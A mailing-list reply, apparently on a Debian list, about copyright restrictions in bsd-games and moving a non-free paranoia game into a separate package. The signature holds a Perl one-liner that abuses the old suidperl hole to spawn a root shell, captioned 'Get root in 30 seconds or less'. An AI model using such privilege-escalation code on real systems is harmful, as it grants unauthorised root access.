Re: bsd-games -- copyright question
Bruce Perens:
> Yes, it's an ugly modification to the source package, but you don't have
> any choice if the copyright says you can't sell it.
Wasn't there an optional target for debian/rules where you can script out
the generation of the source package? I feel I should at least use that, to
document my changes.
> Is there an author's name on the one with no copyright? Of course with
> BSD games the author isn't necessarily even alive any longer.
Ah -- I just found copyright info for that one. I was grepping for
"copyright", but a closer look at the source turned up:
/* This is a solo paranoia game taken from the Jan/Feb issue (No 77) of
"SpaceGamer/FantasyGamer" magazine.
Article by Sam Shirley.
Implemented in C on Vax 11/780 under UNIX by Tim Lister
This is a public domain adventure and may not be sold for profit */
So I think this will go in a bsdgames-nonfree package along with the other
program with a problem copyright.
--
#!/usr/bin/perl -i$>=0;$<=0;exec"/bin/sh"'>achmod joey@kite.ml.org
$_="echo '#!/usr/bin/suidperl -U\n$^I 2755aa";s=a= $ENV{HOME}/Imroot;=g;exec$_
# Get root in 30 seconds or less. Fix this hole: upgrade to perl 5.003 today..
"true - do nothing, successfully" - - true (1)
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